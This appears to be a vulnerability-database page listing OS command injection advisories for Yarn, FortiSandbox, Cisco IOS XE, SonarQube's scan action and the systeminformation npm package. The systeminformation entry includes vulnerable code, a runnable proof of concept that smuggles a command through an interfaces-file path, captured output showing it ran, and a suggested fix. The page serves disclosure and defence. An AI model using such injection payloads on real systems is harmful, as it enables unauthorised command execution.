CWE-78
AllowedImproper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Abstraction: Base · Status: Stable
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
8320 vulnerabilities reference this CWE, most recent first.
GHSA-5XF4-F2FQ-F69J
Vulnerability from github – Published: 2020-02-14 23:10 – Updated: 2023-09-08 22:40In Yarn before 1.21.1, the package install functionality can be abused to generate arbitrary symlinks on the host filesystem by using specially crafted "bin" keys. Existing files could be overwritten depending on the current user permission set.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.21.1"
},
"package": {
"ecosystem": "npm",
"name": "yarn"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2019-10773"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2020-02-13T21:01:35Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "In Yarn before 1.21.1, the package install functionality can be abused to generate arbitrary symlinks on the host filesystem by using specially crafted \"bin\" keys. Existing files could be overwritten depending on the current user permission set.",
"id": "GHSA-5xf4-f2fq-f69j",
"modified": "2023-09-08T22:40:47Z",
"published": "2020-02-14T23:10:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-10773"
},
{
"type": "WEB",
"url": "https://github.com/yarnpkg/yarn/issues/7761#issuecomment-565493023"
},
{
"type": "WEB",
"url": "https://github.com/yarnpkg/yarn/pull/7755"
},
{
"type": "WEB",
"url": "https://github.com/yarnpkg/yarn/commit/039bafd74b7b1a88a53a54f8fa6fa872615e90e7"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2020:0475"
},
{
"type": "WEB",
"url": "https://blog.daniel-ruf.de/critical-design-flaw-npm-pnpm-yarn"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3HIZW4NZVV5QY5WWGW2JRP3FHYKZ6ZJ5"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ITY5BC63CCC647DFNUQRQ5AJDKUKUNBI"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-YARN-537806,"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Yarn Improper link resolution before file access (Link Following)"
}
GHSA-5XF4-MVC2-MX6C
Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09An improper neutralization of special elements used in an OS Command vulnerability in FortiSandbox 3.2.0 through 3.2.2, 3.1.0 through 3.1.4, and 3.0.0 through 3.0.6 may allow an authenticated attacker with access to the web GUI to execute unauthorized code or commands via specifically crafted HTTP requests.
{
"affected": [],
"aliases": [
"CVE-2021-26097"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-04T16:15:00Z",
"severity": "HIGH"
},
"details": "An improper neutralization of special elements used in an OS Command vulnerability in FortiSandbox 3.2.0 through 3.2.2, 3.1.0 through 3.1.4, and 3.0.0 through 3.0.6 may allow an authenticated attacker with access to the web GUI to execute unauthorized code or commands via specifically crafted HTTP requests.",
"id": "GHSA-5xf4-mvc2-mx6c",
"modified": "2022-05-24T19:09:59Z",
"published": "2022-05-24T19:09:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-26097"
},
{
"type": "WEB",
"url": "https://fortiguard.com/advisory/FG-IR-20-198"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-5XFW-QG2P-394C
Vulnerability from github – Published: 2025-04-01 21:31 – Updated: 2025-04-14 18:31An OS Command Injection vulnerability exists in the Infinxt iEdge 100 2.1.32 Troubleshoot module, specifically in the tracertVal parameter of the Tracert function.
{
"affected": [],
"aliases": [
"CVE-2025-26055"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T19:15:44Z",
"severity": "MODERATE"
},
"details": "An OS Command Injection vulnerability exists in the Infinxt iEdge 100 2.1.32 Troubleshoot module, specifically in the tracertVal parameter of the Tracert function.",
"id": "GHSA-5xfw-qg2p-394c",
"modified": "2025-04-14T18:31:48Z",
"published": "2025-04-01T21:31:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26055"
},
{
"type": "WEB",
"url": "https://github.com/rohan-pt/CVE-2025-26055"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5XP6-Q5GC-VW78
Vulnerability from github – Published: 2022-05-17 02:30 – Updated: 2022-05-17 02:30A vulnerability in a startup script of Cisco IOS XE Software could allow an unauthenticated attacker with physical access to the targeted system to execute arbitrary commands on the underlying operating system with the privileges of the root user. More Information: CSCuz06639 CSCuz42122. Known Affected Releases: 15.6(1.1)S 16.1.2 16.2.0 15.2(1)E. Known Fixed Releases: Denali-16.1.3 16.2(1.8) 16.1(2.61) 15.6(2)SP 15.6(2)S1 15.6(1)S2 15.5(3)S3a 15.5(3)S3 15.5(2)S4 15.5(1)S4 15.4(3)S6a 15.4(3)S6 15.3(3)S8a 15.3(3)S8 15.2(5)E 15.2(4)E3 15.2(3)E5 15.0(2)SQD3 15.0(1.9.2)SQD3 3.9(0)E.
{
"affected": [],
"aliases": [
"CVE-2017-6606"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-04-07T17:59:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in a startup script of Cisco IOS XE Software could allow an unauthenticated attacker with physical access to the targeted system to execute arbitrary commands on the underlying operating system with the privileges of the root user. More Information: CSCuz06639 CSCuz42122. Known Affected Releases: 15.6(1.1)S 16.1.2 16.2.0 15.2(1)E. Known Fixed Releases: Denali-16.1.3 16.2(1.8) 16.1(2.61) 15.6(2)SP 15.6(2)S1 15.6(1)S2 15.5(3)S3a 15.5(3)S3 15.5(2)S4 15.5(1)S4 15.4(3)S6a 15.4(3)S6 15.3(3)S8a 15.3(3)S8 15.2(5)E 15.2(4)E3 15.2(3)E5 15.0(2)SQD3 15.0(1.9.2)SQD3 3.9(0)E.",
"id": "GHSA-5xp6-q5gc-vw78",
"modified": "2022-05-17T02:30:08Z",
"published": "2022-05-17T02:30:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-6606"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170405-iosxe"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/97434"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1038190"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5XPP-75JX-M839
Vulnerability from github – Published: 2026-07-15 23:09 – Updated: 2026-07-15 23:09Summary
On Linux, systeminformation's networkInterfaces() is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive. While collecting per-interface DHCP state, the library reads /etc/network/interfaces and, for every source <path> line it encounters, extracts the path token from the file content and interpolates it unquoted into a shell command string that is run via execSync(). A source line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process.
This is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the interfaces(5) source-recursion sink in checkLinuxDCHPInterfaces() was left unfixed and still builds a shell string. The input to this sink is unsanitized (unlike the iface/connectionName paths, which pass through util.sanitizeString in strict mode before reaching their commands).
Impact
An attacker who can place or influence a sourced path in /etc/network/interfaces (or any file it transitively sources) achieves command execution inside any process that calls networkInterfaces(). Realistic affected deployments are the same ones that motivate this library:
- local inventory / asset agents
- monitoring and diagnostics agents
- admin-dashboard backends collecting host information
- device-management / desktop agents
If such a process runs with elevated privileges, the injected command runs with those privileges. networkInterfaces() is a core, frequently-called API and is reached transitively by getStaticData() / getAllData(), so the sink is exercised by ordinary usage on Linux.
Threat model
The dangerous value is not a function argument supplied by the caller. It is read from the content of an interfaces(5) configuration file. The stock Debian/Ubuntu layout uses source /etc/network/interfaces.d/* and source-directory fan-out, so the parser routinely follows source directives into other files and re-parses their source lines. Any actor who can write a file that becomes reachable through that source chain — for example a lower-privileged process or configuration-management hook that drops a file into a sourced directory, or a tool that materializes an interfaces snippet from semi-trusted input — controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one sourced path string contains shell metacharacters.
Vulnerable code
lib/network.js, checkLinuxDCHPInterfaces() (current 5.31.6 line numbers):
// lib/network.js
function checkLinuxDCHPInterfaces(file) {
let result = [];
try {
const cmd = `cat ${file} 2> /dev/null | grep 'iface\\|source'`; // <-- unquoted ${file} -> shell sink
const lines = execSync(cmd, util.execOptsLinux).toString().split('\n');
lines.forEach((line) => {
const parts = line.replace(/\s+/g, ' ').trim().split(' ');
if (parts.length >= 4) {
if (line.toLowerCase().indexOf(' inet ') >= 0 && line.toLowerCase().indexOf('dhcp') >= 0) {
result.push(parts[1]);
}
}
if (line.toLowerCase().includes('source')) {
const file = line.split(' ')[1]; // <-- path parsed FROM file content
result = result.concat(checkLinuxDCHPInterfaces(file)); // <-- recurses, re-feeding attacker path
}
});
} catch {
util.noop();
}
return result;
}
util.execOptsLinux sets no shell option, so execSync(cmd, util.execOptsLinux) runs cmd through /bin/sh. The ${file} token is interpolated raw — not quoted, not passed through util.sanitizeString/sanitizeShellString — so ;, $( ), backticks, |, &, redirections, and even a bare space all break out of the intended cat/grep pipeline.
Reach chain to the public API:
// lib/network.js, getLinuxDHCPNics()
result = checkLinuxDCHPInterfaces('/etc/network/interfaces');
// lib/network.js, networkInterfaces() (Linux branch)
_dhcpNics = getLinuxDHCPNics();
networkInterfaces() is also reached by getStaticData() and getAllData() in lib/index.js.
Reproduction
The PoC exercises the verbatim shipped sink function extracted from the installed node_modules/systeminformation/lib/network.js (version pinned to 5.31.6), bound to the same child_process.execSync and shipped util.execOptsLinux the library uses. It then drives the exact source-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input.
Install the pinned vulnerable version:
mkdir si-poc && cd si-poc
npm init -y >/dev/null
npm install systeminformation@5.31.6
poc.js:
const fs = require('fs');
const path = require('path');
const cp = require('child_process');
const libDir = path.join(__dirname, 'node_modules', 'systeminformation', 'lib');
const util = require(path.join(libDir, 'util.js'));
// Load the VERBATIM shipped sink function from the installed library source.
const src = fs.readFileSync(path.join(libDir, 'network.js'), 'utf8');
const m = src.match(/function checkLinuxDCHPInterfaces\(file\) \{[\s\S]*?\n\}\n/);
if (!m) { console.error('could not locate shipped function'); process.exit(2); }
// Bind the same free vars network.js binds: execSync + util.
const execSync = cp.execSync;
const checkLinuxDCHPInterfaces =
new Function('execSync', 'util', m[0] + '\nreturn checkLinuxDCHPInterfaces;')(execSync, util);
// --- Malicious case: a sourced interfaces file with shell metacharacters in the path ---
const tmp = fs.mkdtempSync('/tmp/si-dhcp-');
const outer = path.join(tmp, 'interfaces');
const marker = path.join(tmp, 'PWNED');
const maliciousSource = `/dev/null;id>${marker};echo`;
fs.writeFileSync(outer, `auto lo\niface lo inet loopback\nsource ${maliciousSource}\n`);
console.log('PRE marker_exists=' + fs.existsSync(marker));
const res = checkLinuxDCHPInterfaces(outer); // == networkInterfaces() -> getLinuxDHCPNics() path
console.log('returned=' + JSON.stringify(res));
console.log('POST marker_exists=' + fs.existsSync(marker));
if (fs.existsSync(marker)) console.log('marker_contents=' + fs.readFileSync(marker, 'utf8').trim());
// --- Negative control: a benign sourced path must NOT execute anything ---
const tmp2 = fs.mkdtempSync('/tmp/si-neg-');
const outer2 = path.join(tmp2, 'interfaces');
const inner2 = path.join(tmp2, 'iface.d');
const marker2 = path.join(tmp2, 'PWNED_NEG');
fs.writeFileSync(inner2, 'iface eth0 inet dhcp\n');
fs.writeFileSync(outer2, `auto lo\nsource ${inner2}\n`);
console.log('\nNEG pre marker_exists=' + fs.existsSync(marker2));
const res2 = checkLinuxDCHPInterfaces(outer2);
console.log('NEG returned=' + JSON.stringify(res2));
console.log('NEG post marker_exists=' + fs.existsSync(marker2));
Run it:
node poc.js
Verbatim captured output (against systeminformation@5.31.6):
PRE marker_exists=false
returned=[]
POST marker_exists=true
marker_contents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)
NEG pre marker_exists=false
NEG returned=["eth0"]
NEG post marker_exists=false
The malicious source path caused the injected id command to run (marker created, contents = the calling process identity), while the benign source path parsed normally (["eth0"]) and produced no marker. The injected command runs with the privileges of the Node.js process that called networkInterfaces().
End-to-end reproduction
The transcript above is the end-to-end run against the pinned published artifact systeminformation@5.31.6, loading the shipped lib/network.js and lib/util.js from node_modules. Exact commands:
mkdir si-poc && cd si-poc
npm init -y >/dev/null
npm install systeminformation@5.31.6
# place poc.js (from the Reproduction section) in this directory
node poc.js
The marker file PWNED is created only by the injected command path; the negative-control marker PWNED_NEG is never created. The verbatim captured stdout is shown in the Reproduction section above.
Suggested fix
Stop building a shell string from a path that comes out of file content. Read the file with fs (no shell), or use argument-array execution, and never interpolate a parsed source path into a shell command. For example:
function checkLinuxDCHPInterfaces(file) {
let result = [];
try {
// No shell: read the file directly and filter in JS.
const content = require('fs').readFileSync(file, { encoding: 'utf8' });
const lines = content.split('\n').filter((l) => /iface|source/.test(l));
lines.forEach((line) => {
const parts = line.replace(/\s+/g, ' ').trim().split(' ');
if (parts.length >= 4 &&
line.toLowerCase().indexOf(' inet ') >= 0 &&
line.toLowerCase().indexOf('dhcp') >= 0) {
result.push(parts[1]);
}
if (line.toLowerCase().includes('source')) {
const sourced = line.split(' ')[1];
result = result.concat(checkLinuxDCHPInterfaces(sourced));
}
});
} catch {
require('./util').noop();
}
return result;
}
If shelling out is preferred, replace the cat/grep shell string with argument-array execution as shown below, so the path is passed as a single argv element and the shell never re-parses it:
const { execFileSync } = require('child_process');
const content = execFileSync('cat', [file], util.execOptsLinux).toString();
Quoting alone is insufficient. Treat every value parsed from interfaces(5) files as untrusted even though it originates from local system state, consistent with the defensive util.sanitizeString pattern already applied to the interface name and NetworkManager connection name on the sibling paths.
Fix PR
A fix is provided on a private temporary fork (not pushed to any public fork during the embargo). The branch replaces the cat ${file} shell string in checkLinuxDCHPInterfaces() with a non-shell fs.readFileSync read and adds a Linux regression test that points the function at an interfaces file containing a source directive with shell metacharacters and asserts that no side-effect command runs (no marker file is produced) while a benign sourced DHCP interface is still parsed.
Credit
Reported by tonghuaroot.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.31.6"
},
"package": {
"ecosystem": "npm",
"name": "systeminformation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.31.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50289"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-15T23:09:28Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nOn Linux, `systeminformation`\u0027s `networkInterfaces()` is vulnerable to OS command injection through the Debian/Ubuntu `interfaces(5)` `source` directive. While collecting per-interface DHCP state, the library reads `/etc/network/interfaces` and, for every `source \u003cpath\u003e` line it encounters, extracts the path token *from the file content* and interpolates it **unquoted** into a shell command string that is run via `execSync()`. A `source` line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process.\n\nThis is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the `interfaces(5)` `source`-recursion sink in `checkLinuxDCHPInterfaces()` was left unfixed and still builds a shell string. The input to this sink is *unsanitized* (unlike the `iface`/`connectionName` paths, which pass through `util.sanitizeString` in strict mode before reaching their commands).\n\n### Impact\n\nAn attacker who can place or influence a `source`d path in `/etc/network/interfaces` (or any file it transitively `source`s) achieves command execution inside any process that calls `networkInterfaces()`. Realistic affected deployments are the same ones that motivate this library:\n\n- local inventory / asset agents\n- monitoring and diagnostics agents\n- admin-dashboard backends collecting host information\n- device-management / desktop agents\n\nIf such a process runs with elevated privileges, the injected command runs with those privileges. `networkInterfaces()` is a core, frequently-called API and is reached transitively by `getStaticData()` / `getAllData()`, so the sink is exercised by ordinary usage on Linux.\n\n### Threat model\n\nThe dangerous value is **not** a function argument supplied by the caller. It is read from the *content* of an `interfaces(5)` configuration file. The stock Debian/Ubuntu layout uses `source /etc/network/interfaces.d/*` and `source-directory` fan-out, so the parser routinely follows `source` directives into other files and re-parses their `source` lines. Any actor who can write a file that becomes reachable through that `source` chain \u2014 for example a lower-privileged process or configuration-management hook that drops a file into a `source`d directory, or a tool that materializes an interfaces snippet from semi-trusted input \u2014 controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one `source`d path string contains shell metacharacters.\n\n### Vulnerable code\n\n`lib/network.js`, `checkLinuxDCHPInterfaces()` (current `5.31.6` line numbers):\n\n```js\n// lib/network.js\nfunction checkLinuxDCHPInterfaces(file) {\n let result = [];\n try {\n const cmd = `cat ${file} 2\u003e /dev/null | grep \u0027iface\\\\|source\u0027`; // \u003c-- unquoted ${file} -\u003e shell sink\n const lines = execSync(cmd, util.execOptsLinux).toString().split(\u0027\\n\u0027);\n\n lines.forEach((line) =\u003e {\n const parts = line.replace(/\\s+/g, \u0027 \u0027).trim().split(\u0027 \u0027);\n if (parts.length \u003e= 4) {\n if (line.toLowerCase().indexOf(\u0027 inet \u0027) \u003e= 0 \u0026\u0026 line.toLowerCase().indexOf(\u0027dhcp\u0027) \u003e= 0) {\n result.push(parts[1]);\n }\n }\n if (line.toLowerCase().includes(\u0027source\u0027)) {\n const file = line.split(\u0027 \u0027)[1]; // \u003c-- path parsed FROM file content\n result = result.concat(checkLinuxDCHPInterfaces(file)); // \u003c-- recurses, re-feeding attacker path\n }\n });\n } catch {\n util.noop();\n }\n return result;\n}\n```\n\n`util.execOptsLinux` sets no `shell` option, so `execSync(cmd, util.execOptsLinux)` runs `cmd` through `/bin/sh`. The `${file}` token is interpolated raw \u2014 not quoted, not passed through `util.sanitizeString`/`sanitizeShellString` \u2014 so `;`, `$( )`, backticks, `|`, `\u0026`, redirections, and even a bare space all break out of the intended `cat`/`grep` pipeline.\n\nReach chain to the public API:\n\n```js\n// lib/network.js, getLinuxDHCPNics()\nresult = checkLinuxDCHPInterfaces(\u0027/etc/network/interfaces\u0027);\n```\n\n```js\n// lib/network.js, networkInterfaces() (Linux branch)\n_dhcpNics = getLinuxDHCPNics();\n```\n\n`networkInterfaces()` is also reached by `getStaticData()` and `getAllData()` in `lib/index.js`.\n\n### Reproduction\n\nThe PoC exercises the **verbatim shipped sink function** extracted from the installed `node_modules/systeminformation/lib/network.js` (version pinned to `5.31.6`), bound to the same `child_process.execSync` and shipped `util.execOptsLinux` the library uses. It then drives the exact `source`-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input.\n\nInstall the pinned vulnerable version:\n\n```bash\nmkdir si-poc \u0026\u0026 cd si-poc\nnpm init -y \u003e/dev/null\nnpm install systeminformation@5.31.6\n```\n\n`poc.js`:\n\n```js\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst cp = require(\u0027child_process\u0027);\nconst libDir = path.join(__dirname, \u0027node_modules\u0027, \u0027systeminformation\u0027, \u0027lib\u0027);\nconst util = require(path.join(libDir, \u0027util.js\u0027));\n\n// Load the VERBATIM shipped sink function from the installed library source.\nconst src = fs.readFileSync(path.join(libDir, \u0027network.js\u0027), \u0027utf8\u0027);\nconst m = src.match(/function checkLinuxDCHPInterfaces\\(file\\) \\{[\\s\\S]*?\\n\\}\\n/);\nif (!m) { console.error(\u0027could not locate shipped function\u0027); process.exit(2); }\n\n// Bind the same free vars network.js binds: execSync + util.\nconst execSync = cp.execSync;\nconst checkLinuxDCHPInterfaces =\n new Function(\u0027execSync\u0027, \u0027util\u0027, m[0] + \u0027\\nreturn checkLinuxDCHPInterfaces;\u0027)(execSync, util);\n\n// --- Malicious case: a sourced interfaces file with shell metacharacters in the path ---\nconst tmp = fs.mkdtempSync(\u0027/tmp/si-dhcp-\u0027);\nconst outer = path.join(tmp, \u0027interfaces\u0027);\nconst marker = path.join(tmp, \u0027PWNED\u0027);\nconst maliciousSource = `/dev/null;id\u003e${marker};echo`;\nfs.writeFileSync(outer, `auto lo\\niface lo inet loopback\\nsource ${maliciousSource}\\n`);\n\nconsole.log(\u0027PRE marker_exists=\u0027 + fs.existsSync(marker));\nconst res = checkLinuxDCHPInterfaces(outer); // == networkInterfaces() -\u003e getLinuxDHCPNics() path\nconsole.log(\u0027returned=\u0027 + JSON.stringify(res));\nconsole.log(\u0027POST marker_exists=\u0027 + fs.existsSync(marker));\nif (fs.existsSync(marker)) console.log(\u0027marker_contents=\u0027 + fs.readFileSync(marker, \u0027utf8\u0027).trim());\n\n// --- Negative control: a benign sourced path must NOT execute anything ---\nconst tmp2 = fs.mkdtempSync(\u0027/tmp/si-neg-\u0027);\nconst outer2 = path.join(tmp2, \u0027interfaces\u0027);\nconst inner2 = path.join(tmp2, \u0027iface.d\u0027);\nconst marker2 = path.join(tmp2, \u0027PWNED_NEG\u0027);\nfs.writeFileSync(inner2, \u0027iface eth0 inet dhcp\\n\u0027);\nfs.writeFileSync(outer2, `auto lo\\nsource ${inner2}\\n`);\nconsole.log(\u0027\\nNEG pre marker_exists=\u0027 + fs.existsSync(marker2));\nconst res2 = checkLinuxDCHPInterfaces(outer2);\nconsole.log(\u0027NEG returned=\u0027 + JSON.stringify(res2));\nconsole.log(\u0027NEG post marker_exists=\u0027 + fs.existsSync(marker2));\n```\n\nRun it:\n\n```bash\nnode poc.js\n```\n\nVerbatim captured output (against `systeminformation@5.31.6`):\n\n```\nPRE marker_exists=false\nreturned=[]\nPOST marker_exists=true\nmarker_contents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)\n\nNEG pre marker_exists=false\nNEG returned=[\"eth0\"]\nNEG post marker_exists=false\n```\n\nThe malicious `source` path caused the injected `id` command to run (marker created, contents = the calling process identity), while the benign `source` path parsed normally (`[\"eth0\"]`) and produced no marker. The injected command runs with the privileges of the Node.js process that called `networkInterfaces()`.\n\n### End-to-end reproduction\n\nThe transcript above is the end-to-end run against the pinned published artifact `systeminformation@5.31.6`, loading the shipped `lib/network.js` and `lib/util.js` from `node_modules`. Exact commands:\n\n```bash\nmkdir si-poc \u0026\u0026 cd si-poc\nnpm init -y \u003e/dev/null\nnpm install systeminformation@5.31.6\n# place poc.js (from the Reproduction section) in this directory\nnode poc.js\n```\n\nThe marker file `PWNED` is created only by the injected command path; the negative-control marker `PWNED_NEG` is never created. The verbatim captured stdout is shown in the Reproduction section above.\n\n### Suggested fix\n\nStop building a shell string from a path that comes out of file content. Read the file with `fs` (no shell), or use argument-array execution, and never interpolate a parsed `source` path into a shell command. For example:\n\n```js\nfunction checkLinuxDCHPInterfaces(file) {\n let result = [];\n try {\n // No shell: read the file directly and filter in JS.\n const content = require(\u0027fs\u0027).readFileSync(file, { encoding: \u0027utf8\u0027 });\n const lines = content.split(\u0027\\n\u0027).filter((l) =\u003e /iface|source/.test(l));\n lines.forEach((line) =\u003e {\n const parts = line.replace(/\\s+/g, \u0027 \u0027).trim().split(\u0027 \u0027);\n if (parts.length \u003e= 4 \u0026\u0026\n line.toLowerCase().indexOf(\u0027 inet \u0027) \u003e= 0 \u0026\u0026\n line.toLowerCase().indexOf(\u0027dhcp\u0027) \u003e= 0) {\n result.push(parts[1]);\n }\n if (line.toLowerCase().includes(\u0027source\u0027)) {\n const sourced = line.split(\u0027 \u0027)[1];\n result = result.concat(checkLinuxDCHPInterfaces(sourced));\n }\n });\n } catch {\n require(\u0027./util\u0027).noop();\n }\n return result;\n}\n```\n\nIf shelling out is preferred, replace the `cat`/`grep` shell string with argument-array execution as shown below, so the path is passed as a single argv element and the shell never re-parses it:\n\n```js\nconst { execFileSync } = require(\u0027child_process\u0027);\nconst content = execFileSync(\u0027cat\u0027, [file], util.execOptsLinux).toString();\n```\n\nQuoting alone is insufficient. Treat every value parsed from `interfaces(5)` files as untrusted even though it originates from local system state, consistent with the defensive `util.sanitizeString` pattern already applied to the interface name and NetworkManager connection name on the sibling paths.\n\n### Fix PR\n\nA fix is provided on a private temporary fork (not pushed to any public fork during the embargo). The branch replaces the `cat ${file}` shell string in `checkLinuxDCHPInterfaces()` with a non-shell `fs.readFileSync` read and adds a Linux regression test that points the function at an `interfaces` file containing a `source` directive with shell metacharacters and asserts that no side-effect command runs (no marker file is produced) while a benign sourced DHCP interface is still parsed.\n\n### Credit\n\nReported by tonghuaroot.",
"id": "GHSA-5xpp-75jx-m839",
"modified": "2026-07-15T23:09:28Z",
"published": "2026-07-15T23:09:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5xpp-75jx-m839"
},
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/commit/bbfddde48672d0ee124fefdb3cb4442fd9dd4f03"
},
{
"type": "PACKAGE",
"url": "https://github.com/sebhildebrandt/systeminformation"
},
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/releases/tag/v5.31.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "systeminformation: OS command injection in networkInterfaces() via interfaces(5) source-directive path on Linux"
}
GHSA-5XQ9-5G24-4G6F
Vulnerability from github – Published: 2025-09-26 13:01 – Updated: 2025-09-29 14:23A command injection vulnerability exists in SonarQube GitHub Action prior to v6.0.0 when workflows pass user-controlled input to the args parameter on Windows runners without proper validation. This vulnerability bypasses a previous security fix and allows arbitrary command execution, potentially leading to exposure of sensitive environment variables and compromise of the runner environment.
Patches
The vulnerability has been fixed in version v6.0.0. Users should upgrade to this version or later.
Credits
Francois Lajeunesse-Robert (Boostsecurity.io)
References
- Community Post: https://community.sonarsource.com/t/sonarqube-scanner-github-action-v6/149281
- Fix release: https://github.com/SonarSource/sonarqube-scan-action/releases/tag/v6.0.0
{
"affected": [
{
"package": {
"ecosystem": "GitHub Actions",
"name": "SonarSource/sonarqube-scan-action"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "6.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59844"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-26T13:01:10Z",
"nvd_published_at": "2025-09-26T17:15:36Z",
"severity": "HIGH"
},
"details": "A command injection vulnerability exists in SonarQube GitHub Action prior to v6.0.0 when workflows pass user-controlled input to the args parameter on Windows runners without proper validation. This vulnerability bypasses a previous security fix and allows arbitrary command execution, potentially leading to exposure of sensitive environment variables and compromise of the runner environment.\n\n\n### Patches\nThe vulnerability has been fixed in version v6.0.0. Users should upgrade to this version or later.\n\n\n### Credits\nFrancois Lajeunesse-Robert (Boostsecurity.io)\n\n\n### References\n- Community Post: https://community.sonarsource.com/t/sonarqube-scanner-github-action-v6/149281 \n- Fix release: https://github.com/SonarSource/sonarqube-scan-action/releases/tag/v6.0.0",
"id": "GHSA-5xq9-5g24-4g6f",
"modified": "2025-09-29T14:23:15Z",
"published": "2025-09-26T13:01:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SonarSource/sonarqube-scan-action/security/advisories/GHSA-5xq9-5g24-4g6f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59844"
},
{
"type": "WEB",
"url": "https://community.sonarsource.com/t/sonarqube-scanner-github-action-v6/149281"
},
{
"type": "PACKAGE",
"url": "https://github.com/SonarSource/sonarqube-scan-action"
},
{
"type": "WEB",
"url": "https://github.com/SonarSource/sonarqube-scan-action/releases/tag/v6.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Argument injection vulnerability in SonarQube Scan Action"
}
GHSA-5XR5-94PW-RV78
